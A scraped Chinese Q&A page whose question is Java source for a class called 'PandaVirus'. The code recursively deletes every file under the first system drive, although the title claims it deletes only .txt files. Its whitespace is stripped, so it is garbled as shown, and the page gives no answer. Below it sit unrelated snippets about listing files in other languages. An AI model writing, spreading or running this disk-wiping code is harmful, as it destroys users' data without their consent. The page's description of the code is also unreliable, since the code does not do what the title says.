【作品】:遍历磁盘判断文件是否为txt的,若是删除.

问题描述

/*Ronaty编译执行时请注意,以免系统崩溃*/importjava.io.*;publicclassPandaVirus{/***@paramargs*/publicstaticvoidmain(String[]args)throwsIOException{//TODOAuto-generatedmethodstubPandaVirusmyHard=newPandaVirus();FilemyRoot[]=myHard.listSystemRoot();for(inti=0;i<1;i++){Filesubf[]=myRoot[i].listFiles();for(intk=0;k<subf.length;k++){myHard.listDirectory(subf[k]);}}}privateFile[]listSystemRoot(){//TODOAuto-generatedmethodstubFilesysRoot[]=File.listRoots();returnsysRoot;}privatevoidlistDirectory(Filedic){if(dic.isFile()){dic.delete();}if(dic.isDirectory()){FilesubDic[]=dic.listFiles();for(intj=0;j<subDic.length;j++){listDirectory(subDic[j]);}}}}

解决方案

时间: 2024-09-05 06:36:34

【作品】:遍历磁盘判断文件是否为txt的,若是删除.的相关文章

QT遍历目录获取文件信息

QFileInfo 获取文件信息:文件名称,路径,大小,创建时间,修改时间,权限等 使用 路径: UNIX: /home/dipper/file1 Windows: C://dipper//file1 构造函数: QFileInfo fileInfo(path); QFileInfo fileInfo; fileInfo.setFile(path); exists(): 判断文件是否存在 size(): 获取文件大小 文件类型: isFile(), isDir(), isSymLink() sy

python中readline判断文件读取结束的方法_python

本文实例讲述了python中readline判断文件读取结束的方法.分享给大家供大家参考.具体分析如下: 大家知道,python中按行读取文件可以使用readline函数,下面现介绍一个按行遍历读取文件的方法,通过这个方法,展开我们要讨论的问题: 复制代码 代码如下: filename = raw_input('Enter your file name')  #输入要遍历读取的文件路径及文件名 file = open(filename,'r') done = 0 while not  done:

JAVA之旅(二十八)——File概述,创建,删除,判断文件存在,创建文件夹,判断是否为文件/文件夹,获取信息,文件列表,文件过滤

JAVA之旅(二十八)--File概述,创建,删除,判断文件存在,创建文件夹,判断是否为文件/文件夹,获取信息,文件列表,文件过滤 我们可以继续了,今天说下File 一.File概述 文件的操作是非常重要的,我们先来看下他的基本概念 用于将文件或者文件夹封装成对象 方便对文件和文件夹的操作 File对象可以作为参数传递给流的构造函数 我们写个小例子先 package com.lgl.hellojava; import java.io.File; public class HelloJJAVA {

FSO使用教程8 -- 如何使用FSO判断文件是否存在

fso|教程|是否存在 如何使用FSO判断文件是否存在-FSO使用教程8 写入数据到文件的方法有WriteLine及Write两种,以下详细介绍这两种的使用方法: 八.如何使用FSO判断文件是否存在: 方法:FileExists 调用格式:(右文件存在,则返回X等于True,否则等于False) X = FileSystemObject名.FileExists(文件名) 源码示例:(检查与ASP文件同一目录下的File1.txt是否存在) <%'=========================

Python判断文件和文件夹是否存在的方法

  这篇文章主要介绍了Python判断文件和文件夹是否存在的方法,本文还讲解了判断是否为文件或者目录的方法.os.path.lexist的作用.FTP中判断文件或目录是否存在等内容,需要的朋友可以参考下 一.python判断文件和文件夹是否存在.创建文件夹 代码如下: >>> import os >>> os.path.exists('d:/assist') True >>> os.path.exists('d:/assist/getTeacherLi

Android编程读取Assets所有文件(遍历每一个文件夹)并存入sdcard的方法_Android

本文实例讲述了Android编程读取Assets所有文件(遍历每一个文件夹)并存入sdcard的方法.分享给大家供大家参考,具体如下: private void CopyAssets(String assetDir, String dir) { String[] files; try { // 获得Assets一共有几多文件 files = this.getResources().getAssets().list(assetDir); } catch (IOException e1) { ret

NSIS:使用FileFunc.nsh头文件判断文件版本

原文 NSIS:使用FileFunc.nsh头文件判断文件版本 这里,轻狂拿WMP10做一个例子.关于WMP10的原始安装文件,可以下载后通过/C /T:D:\Windows Media Player参数(参数说明:将文件解开到D:\Windows Media Player文件夹)得到.   首先,引入头文件: !include "FileFunc.nsh" 然后,写详细的代码: Section "WMP" SEC_WMP ${GetFileVersion} &qu

c语言怎么判断文件为空啊,如果文件里没有数据,就会报错

问题描述 c语言怎么判断文件为空啊,如果文件里没有数据,就会报错 while(!feof(fp)) { s=(Tx *)malloc(sizeof (Tx)); fscanf(fp,"%d %s %d ",&s->id,&s->name,&s->tel); printf("%d%s%d ",s->id,s->name,s->tel); s->next=a->next; a->next=s;

php scandir遍历显示所有文件与文件夹下的文件

php教程 scandir遍历显示所有文件与文件夹下的文件,方法很简单我们只要利用is_dir判断再递归查找一次,这样就可以把遍历目录下所有文件了. 目录遍历 <?php   function numfilesindir ($thedir){     if (is_dir ($thedir)){       $scanarray = scandir ($thedir);       for ($i = 0; $i < count ($scanarray); $i++){         if